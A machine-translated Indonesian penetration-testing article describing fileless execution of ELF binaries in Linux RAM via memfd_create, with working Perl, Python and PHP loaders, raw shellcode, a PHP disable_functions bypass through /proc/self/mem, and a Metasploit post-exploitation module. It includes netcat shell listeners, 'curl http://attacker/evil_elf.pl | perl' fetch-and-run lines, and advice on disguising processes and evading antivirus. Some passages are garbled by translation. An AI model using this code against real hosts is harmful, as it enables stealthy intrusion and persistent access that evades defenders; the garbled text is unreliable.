Elf dalam memori. Menjalankan ELF di Linux RAM


Distribusi malware bebas-file semakin populer. Yang tidak mengherankan, karena pekerjaan program semacam itu hampir tidak meninggalkan jejak. Pada artikel ini kita tidak akan menyentuh teknik menjalankan program di memori Windows. Kami fokus pada GNU / Linux. Linux dengan tepat mendominasi segmen server, hidup di jutaan perangkat tertanam dan menyediakan sebagian besar sumber daya web. Selanjutnya, kami akan melakukan tinjauan singkat tentang kemungkinan menjalankan program dalam memori dan menunjukkan bahwa ini mungkin bahkan dalam kondisi yang sulit.


Teknik eksekusi tanpa file bersifat rahasia, sangat sulit untuk mendeteksi dan melacak penggunaannya. Alat kontrol integritas sistem file tidak akan memperingatkan administrator, karena tidak ada operasi penulisan ke disk atau perubahan file pada disk terjadi. Perangkat lunak antivirus (sering diabaikan oleh pengguna * nix) sering tidak memonitor memori program setelah startup. Selain itu, di banyak distribusi GNU / Linux, segera setelah instalasi, tersedia beragam utilitas debugging, interpreter, kompiler bahasa pemrograman dan pustaka untuk mereka. Semua ini menciptakan kondisi yang sangat baik untuk menggunakan teknik eksekusi program rahasia dan bebas file. Tetapi di samping keuntungan dari penggunaannya, ada juga kelemahan - program-program ini tidak selamat dari pemadaman atau reboot host target. Tetapi saat tuan rumah sedang berjalan, program bekerja.


Teknik semacam itu dapat dan harus digunakan tidak hanya untuk distribusi malware. Jika kecepatan eksekusi program Anda sangat penting bagi Anda, keluarkan ke dalam RAM. Sebenarnya, banyak distribusi Linux terasa hebat ketika benar-benar berjalan dalam RAM, yang memungkinkan Anda untuk bekerja dengan hard drive tanpa menyimpan file apa pun di dalamnya. Dari sudut pandang audit keamanan informasi, metode pelaksanaan program terselubung sangat berguna sebagai tahap pasca operasi dan pengintaian dalam batas jaringan target. Apalagi jika kerahasiaan maksimum adalah salah satu syarat audit.
Menurut portal barkly.com pada tahun 2018, sudah 35% serangan virus terjadi pada perangkat lunak berbahaya yang berjalan di memori.


Dalam kasus Windows, penjahat cyber secara aktif menggunakan sistem Powershell yang sudah diinstal sebelumnya untuk mengunduh dan segera menjalankan kode. Teknik-teknik ini banyak digunakan, antara lain, berkat implementasinya dalam kerangka kerja seperti Powershell Empire, Powersploit, dan Metasploit Framework.


Bagaimana dengan Linux?


Dalam kebanyakan kasus, distribusi Linux yang diinstal pada host memiliki seperangkat perangkat lunak yang sudah diinstal sebelumnya. Out of the box, sebagai aturan, tersedia penerjemah bahasa pemrograman: Python, Perl, compiler C. PHP hadir di situs hosting di appendage. Kondisi ini memberikan kemampuan untuk mengeksekusi kode menggunakan bahasa-bahasa ini.


Di Linux, kami memiliki beberapa opsi terkenal untuk mengeksekusi kode dalam memori.
Cara termudah adalah dengan menggunakan area memori bersama yang sudah terpasang pada sistem file.


Dengan menempatkan file yang dapat dieksekusi di direktori / dev / shm atau / run / shm, dimungkinkan untuk menjalankannya dalam memori secara langsung, mengingat direktori ini tidak lebih dari memori akses acak yang dipasang pada sistem file. Tetapi mereka dapat dilihat dengan ls seperti direktori lainnya. Dan sebagai aturan, direktori ini di-mount dengan flag noexec, dan eksekusi program dalam direktori ini hanya tersedia untuk pengguna super. Jadi, untuk menjadi sedikit lebih tidak mencolok, Anda perlu sesuatu yang lain.


Yang lebih penting adalah memfokuskan pada panggilan sistem (2) . Panggilan sistem ini berfungsi seperti malloc (3) , tetapi tidak mengembalikan pointer ke area memori, tetapi deskriptor file ke file anonim, yang terlihat dalam sistem file hanya sebagai tautan di /proc/PID/fd/ , yang dapat dieksekusi dengan menggunakan mengeksekusi (2).
Inilah yang dikatakan halaman manual untuk menggunakan panggilan sistem memfd_create (dalam bahasa Rusia) :


"Nama yang ditentukan dalam name digunakan sebagai nama file dan akan ditampilkan sebagai target dari tautan simbolik yang sesuai dalam direktori. /proc/self/fd/ . Nama tampilan selalu dimulai dengan memfd: dan hanya untuk debugging. Nama tidak mempengaruhi perilaku file "deskriptor, dan karenanya banyak file dapat memiliki nama yang sama tanpa konsekuensi apa pun."


Contoh menggunakan memfd_create() untuk bahasa C:


 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); } 

Kode di atas menggunakan memfd , membuat proses anak, mengarahkan outputnya ke file sementara, menunggu proses anak selesai, dan membaca outputnya dari file sementara. Biasanya, pipa "|" digunakan untuk mengarahkan output dari satu program ke input yang lain di * nix.


Kemampuan untuk menggunakan syscall() juga tersedia dalam bahasa yang ditafsirkan seperti perl, python, dll ... Selanjutnya, kami mempertimbangkan salah satu skenario yang mungkin dan menunjukkan kemampuan untuk memuat file yang dapat dieksekusi ke dalam memori menggunakan memfd_create() .


Perl


Misalkan kita memiliki titik masuk dalam bentuk injeksi perintah.
Kami membutuhkan cara untuk melakukan panggilan sistem pada sistem target.
Dalam perl, fungsi syscall () akan membantu kita dengan ini.
Kami juga akan membutuhkan cara untuk menulis ELF kami langsung ke memori sebagai isi dari file anonim.
Untuk melakukan ini, kami akan menempatkan ELF kami langsung di badan skrip, yang pada gilirannya akan ditransfer ke sistem target melalui injeksi perintah yang tersedia. Atau, Anda juga dapat mengunduh file yang dapat dieksekusi melalui jaringan.
Namun sebelum itu perlu dilakukan reservasi. Kita perlu mengetahui versi kernel linux pada host target, karena memfd_create() sistem yang diperlukan hanya tersedia dari versi 3.17 dan lebih tinggi.


Mari kita memfd_create() lebih dekat pada memfd_create() dan execve()


Untuk file anonim kami, kami akan menggunakan MFD_CLOEXEC konstan, yang "mengatur flag close-on-exec (FD_CLOEXEC) untuk deskriptor file terbuka baru." Ini berarti deskriptor file kami akan ditutup secara otomatis setelah kami mengeksekusi ELF kami menggunakan execve()


Karena kita akan menggunakan fungsi syscall() dari bahasa Perl, kita perlu nilai numerik untuk memanggil syscall dan parameternya.
Anda dapat menemukannya di /usr/include atau di Internet. Nomor panggilan sistem dapat ditemukan di #define dimulai dengan __NR_
Dalam kasus kami, memfd_create() diberi nomor 319 untuk OS 64-bit. Dan konstanta adalah FD_CLOSEXEC 0x0001U (yaitu, 1 di file linux/memfd.h )


Sekarang kita memiliki semua nilai numerik yang diperlukan, dan kita dapat menulis dalam Perl sebuah analog dari memfd_create(name, MFD_CLOEXEC) dari C.
Kami juga perlu membuat nama file yang akan ditampilkan di /memfd:
Akan lebih optimal untuk memilih nama yang mirip dengan [:kworker] atau yang lain, tidak menimbulkan kecurigaan.
Misalnya, kami akan meneruskan string kosong ke parameter nama:


 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } 

Sekarang kita memiliki deskriptor file anonim dalam $ fd dan kita perlu menulis ELF ke file ini.
Fungsi open () dalam perl biasanya digunakan untuk membuka file, tetapi menggunakan konstruksi >&=FD , meneruskan deskriptor ke fungsi ini alih-alih nama file, kami mengubah deskriptor file yang sudah terbuka menjadi pegangan file.
autoflush[] juga bermanfaat bagi autoflush[] :


 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); 

Sekarang kami memiliki pegangan yang merujuk ke file anonim.


Selanjutnya, kita perlu mengkonversi file yang dapat dieksekusi menjadi data yang dapat ditempatkan di tubuh skrip Perl.
Untuk melakukan ini, kami melakukan:


 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary 

Kami mendapatkan banyak, banyak baris serupa:


 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; 

Setelah mengeksekusi mereka, kami akan meletakkan file yang dapat dieksekusi kami dalam memori. Yang tersisa bagi kita adalah meluncurkannya.


garpu ()


Secara opsional kita bisa menggunakan fork () . Ini tidak perlu sama sekali. Tetapi jika kita ingin tidak hanya menjalankan ELF dan mematikan prosesnya, kita perlu menggunakan fork() .
Secara umum, membuat proses anak di perl terlihat seperti ini:


 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } } 

Kegunaan fork() juga fork() pada fakta bahwa dengan memanggilnya bersamaan dengan setsid (2) , Anda dapat memisahkan proses anak dari proses induk dan membiarkan orangtua mengakhiri:


 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   "" 

Sekarang kita dapat menjalankan ELF dalam banyak proses.


Execve ()


Execve () adalah panggilan sistem yang memungkinkan kita untuk menjalankan suatu program. Perl menyediakan fungsionalitas serupa kepada kami melalui fungsi Exec () , yang berfungsi seperti pemanggilan sistem yang disebutkan di atas, tetapi memiliki sintaks yang jauh lebih sederhana dan lebih nyaman.
Kita perlu memberikan dua hal ke exec() : file yang ingin kita jalankan (memori ELF yang sebelumnya dimuat), dan nama proses sebagai salah satu argumen yang diteruskan. Biasanya nama proses sesuai dengan nama file yang dapat dieksekusi. Tetapi karena kita akan melihat /proc/PID/fd/3 dalam daftar proses, kita akan menyebut proses kita sesuatu yang lain.
Sintaks untuk exec() sebagai berikut:


 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!"; 

Contoh di atas memulai Netcat. Tetapi kami ingin meluncurkan sesuatu yang sedikit kurang seperti pintu belakang.
Proses yang diluncurkan tidak akan memiliki tautan ke file anonim di /proc/PID/fd , tetapi kami selalu dapat menemukan ELF kami di tautan /proc/PID/exe , yang mengarah ke file proses yang sedang berjalan.
Jadi kami meluncurkan ELF dalam memori Linux, tanpa menyentuh disk dan bahkan sistem file.
Dimungkinkan untuk mengunduh file yang dapat dieksekusi kami ke sistem target dengan cepat dan mudah, misalnya, dengan mengirimkan skrip ke penerjemah Perl, di mana kami menempatkan ELF dan meletakkannya di hosting web eksternal: $ curl http://attacker/evil_elf.pl | perl $ curl http://attacker/evil_elf.pl | perl


Python


Mirip dengan opsi Perl, kita perlu melakukan hal berikut:


  • menggunakan panggilan sistem memfd_create (), buat file anonim di memori
  • tulis ELF yang dapat dieksekusi ke file ini
  • jalankan dan secara opsional jalankan beberapa kali dengan fork ()

 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    . 

Dalam kasus python, untuk memanggil syscall kita memerlukan ctypes dan os modul standar untuk menulis dan mengeksekusi file dan mengontrol prosesnya. Semuanya sepenuhnya analog dengan versi perl.
Dalam kode di atas, kita menulis ke file file yang sebelumnya terletak di /tmp/ . Namun, tidak ada yang mencegah kami mengunduh file dari server web.


Php


Pada tahap ini, kita sudah bisa menggunakan perl dan python. Penerjemah bahasa-bahasa ini diinstal secara default pada banyak sistem operasi. Tapi yang paling menarik, seperti biasa, ada di depan.
Jika, karena alasan tertentu, penerjemah perl atau python tidak tersedia bagi kami, alangkah baiknya menggunakan PHP. Bahasa ini sangat populer di kalangan pengembang web. Dan jika kita sudah menemukan kemampuan untuk mengeksekusi kode dalam aplikasi web, kemungkinan besar penerjemah PHP akan menemui kita.


Sayangnya, php tidak memiliki mekanisme syscall untuk memanggil syscall .
Kami menemukan posting dari Beched'a di forum rdot (Terima kasih Beched!), Yang menimpa panggilan fungsi open ke system melalui procfs /proc/self/mem dalam memori proses saat ini dan memintas fungsi disable_functions .
Kami menggunakan trik ini untuk menulis ulang fungsi ke kode kami, yang akan menyebabkan panggilan sistem yang diperlukan.
Kami akan meneruskan syscall ke juru bahasa php dalam bentuk shellcode on assembler.
Panggilan sistem perlu melewati serangkaian perintah.
Mari kita mulai menulis skrip PHP. Selanjutnya akan banyak keajaiban.


Pertama, kami menunjukkan parameter yang diperlukan:


  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ... 

Nyatakan pergeseran - nilai atas dan bawah dalam memori, tempat kami akan menempatkan shellcode kami:


  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } 

Berikutnya adalah fungsi di mana file biner "dibongkar". Untuk melakukan ini, kami mengonversi data biner ke representasi desimal menggunakan fungsi hexdex () dari data biner bin2hex () dalam urutan terbalik (untuk penyimpanan):


 function unp($value) { return hexdec(bin2hex(strrev($value))); } 

Selanjutnya, file ELF diurai untuk mendapatkan offset:


 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } 

Selain itu, kami menampilkan informasi tentang versi PHP yang diinstal:


 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n"; 

Kami memeriksa kedalaman bit dari sistem operasi dan versi kernel Linux:


 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } 

Untuk menghindari pembatasan fungsi disable_functions , skrip menulis ulang alamat fungsi open@plt dengan cepat. Kami membuat beberapa tambahan pada kode beched'a, dan sekarang kami dapat menempatkan shellcode kami di memori.


Pertama, Anda perlu menemukan pergeseran dalam file biner dari interpreter PHP itu sendiri, untuk ini kita beralih ke /proc/self/exe dan parsing file executable menggunakan fungsi parseelf() dijelaskan di atas:


 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } 

Temukan alamat fungsi open() :


 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); 

Sekarang Anda dapat langsung mengunduh file yang dapat dieksekusi kami.
Pertama, buat file anonim:


 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w'); 

Kami menulis beban ke file anonim:


 fwrite($fp, $elf); 

Kami mencari nomor deskriptor file:


 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; } 

Selanjutnya, kita menulis path ke file yang dapat dieksekusi pada stack:


 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack); 

Dan argumen untuk menjalankan diteruskan ke executable:


 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n"; 

Selanjutnya, dengan memanggil fork() , kami mengeksekusi payload kami:


 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit(); 

Shellcode


Shellcode biasanya berarti urutan byte yang disimpan dalam memori dan kemudian dieksekusi, biasanya dalam konteks program lain, menggunakan serangan buffer overflow dan lainnya. Dalam kasus kami, shellcode tidak mengembalikan kami prompt perintah dari server jauh (sebenarnya Shell), tetapi memungkinkan kami untuk mengeksekusi perintah yang kami butuhkan.


Untuk mendapatkan urutan byte yang diperlukan, Anda bisa menulis kode C, lalu menerjemahkannya ke bahasa assembler, atau menulis bahasa rakitan dari awal.


Mari kita lihat apa yang tersembunyi di balik urutan byte dari daftar di atas.


 push 57 pop rax syscall test eax, eax jnz quit 

Peluncuran program kami dimulai dengan c fork . 57 adalah nilai numerik pengidentifikasi panggilan sistem untuk sistem 64-bit. Tabelnya dapat ditemukan di sini .


Selanjutnya, kami memanggil setsid (pengenal angka 112) untuk mengonversi proses anak ke induk:


 push 112 pop rax syscall 

Kemudian lakukan fork lain:


 push 57 pop rax syscall test eax, eax jnz quit 

Kemudian jalankan execve() familiar execve() :


 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret 

Dan kami mengakhiri proses dengan exit() (60):


 ; exit quit: push 0 pop rdi push 60 pop rax syscall 

Jadi, kami mengganti kode fungsi open () saat bepergian. File yang dapat dieksekusi kami ditempatkan di memori dan dieksekusi melalui penerjemah PHP. Panggilan sistem disajikan sebagai shellcode.


Kerangka kerja metasploit


Sebagai kompilasi dari teknik-teknik di atas, kami telah menyiapkan modul untuk MSF .


Untuk menambahkannya ke Metasploit, cukup salin file modul ke direktori $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb dan kemudian jalankan perintah reload_all di konsol kerangka.
Untuk menggunakan modul kami, masukkan use post/linux/manage/download_exec_elf_in_memory (atau jalur lain, tergantung pada direktori tempat file modul ditempatkan)
Sebelum menggunakannya, Anda harus mengatur opsi yang diperlukan. Daftar opsi ditampilkan dengan perintah show options .


ARGS - Argumen untuk dieksekusi


FILE - path ke file yang dapat dieksekusi. Dalam kasus kami, ini adalah Netcat.


NAME adalah nama prosesnya. Anda bisa memanggilnya apa saja. Sebagai contoh, demi sembunyi-sembunyi, ini mungkin kworker: 1 baik, atau untuk tujuan menunjukkan sesuatu komik, misalnya KittyCat


SESSION - sesi meterpreter. Dapat dipahami bahwa modul ini akan digunakan untuk tujuan pasca operasi.


Selanjutnya, kita menunjuk host di mana http-server dengan beban kita akan ditempatkan dan port-nya dalam opsi SRVHOST dan SRVPORT masing-masing.


VECTOR - metode di mana eksekusi program dalam memori akan dicapai, parameternya opsional, jika kosong, skrip itu sendiri akan menetapkan keberadaan penerjemah yang diperlukan. PHP, Python atau Perl saat ini didukung.


run menggunakan exploit atau run perintah



Ini berfungsi sebagai berikut - kami menunjukkan sesi yang diinginkan, dapat berupa meterpreter atau reverse-shell biasa. Selanjutnya, kami menunjukkan jalur lokal ke peri kami, argumen dan nama yang diinginkan dalam daftar proses. Setelah start, server web lokal akan diluncurkan untuk menampung muatan, dan sesi akan mencari "kursi goyang", curl dan wget saat ini didukung. Setelah menemukan setidaknya satu dari mereka, semua penerjemah akan dicari jika kita belum menentukan parameter VECTOR mana yang kita butuhkan. Nah, jika berhasil, sebuah perintah akan dieksekusi untuk mengunduh muatan dari server web kami dan mentransfernya melalui pipa ke penerjemah yang diinginkan, mis. sesuatu seperti $ curl http://hacker/payload.pl | perl $ curl http://hacker/payload.pl | perl


Alih-alih sebuah kesimpulan.


Mengunduh file ELF tanpa fileless di Linux adalah teknik yang berguna untuk pengujian penetrasi. Ini adalah metode yang cukup hening yang dapat menahan berbagai macam alat perlindungan anti-virus, sistem pemantauan integritas dan sistem pemantauan yang memantau perubahan isi hard drive. Dengan cara ini, Anda dapat dengan mudah mempertahankan akses ke sistem target, sambil meninggalkan jejak minimum.
Pada artikel ini, kami menggunakan bahasa pemrograman yang ditafsirkan, sering diinstal secara default pada distribusi Linux, firmware, router, dan perangkat seluler. Saya juga ingin mengucapkan terima kasih kepada penulis artikel ini , yang menginspirasi kami untuk ulasan ini.

Source: https://habr.com/ru/post/id430902/


All Articles